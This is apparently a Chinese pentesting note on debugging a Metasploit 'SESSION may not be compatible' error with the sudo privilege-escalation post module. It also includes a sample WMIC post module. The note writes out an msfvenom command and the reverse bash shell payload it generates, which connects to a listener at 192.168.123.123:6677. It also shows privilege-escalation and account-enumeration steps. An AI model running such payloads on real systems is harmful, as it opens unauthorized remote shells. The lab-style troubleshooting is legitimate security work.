03-msf报错(SESSION may not be compatible)

起因:sudo -s提权在msf上一直报错,但是在靶机上是可以成功提权的。

msf有一个模块,叫做post/multi/manage/sudo

看过这个模块的源码,就是使用sudo -s来提权的。

为什么会提权失败呢? 4

环境配置复现,debug

设置msf监听

handler -H 192.168.123.123 -P 6677 -p cmd/unix/reverse_bash

生成反弹shell的载荷

1
2
3
msfvenom -p cmd/unix/reverse_bash  lhost=192.168.123.123 lport=6677 -f raw      

0<&165-;exec 165<>/dev/tcp/192.168.123.123/6677;sh <&165 >&165 2>&165

设置metapreter session

使用上一条命令获得一个shell cmd/unix类型的shell以后,可以使用session -u session的ID 这种方式,获得一个meterpreter x86/linux的session。

使用meterpreter的session,执行post/multi/manage/sudo提权载荷,会报错。

1
[!] SESSION may not be compatible with this module.

使用shell cmd/unix的载荷不会报错。

查看源码

1
2
3
4
5
vi /usr/share/metasploit-framework/modules/post/multi/manage/sudo.rb

在第32行,如果没有meterpreter这一个关键字,那么就只支持shell类型的session

 'SessionTypes'  => [ 'meterpreter', 'shell' ]

如何写一个msf插件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::WMIC

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Gather Run Specified WMIC Command',
      'Description'   => %q{ This module will execute a given WMIC command options or read
        WMIC commands options from a resource file and execute the commands in the
        specified Meterpreter session.},
      'License'       => MSF_LICENSE,
      'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ]
    ))

    register_options(
      [
        OptPath.new('RESOURCE', [false, 'Full path to resource file to read commands from.']),
        OptString.new('COMMAND', [false, 'WMIC command options.']),
      ])
  end

  # Run Method for when run command is issued
  def run
        print_status("Executing command")
        command = wmic_query("useraccount get name")
        puts command
  end
end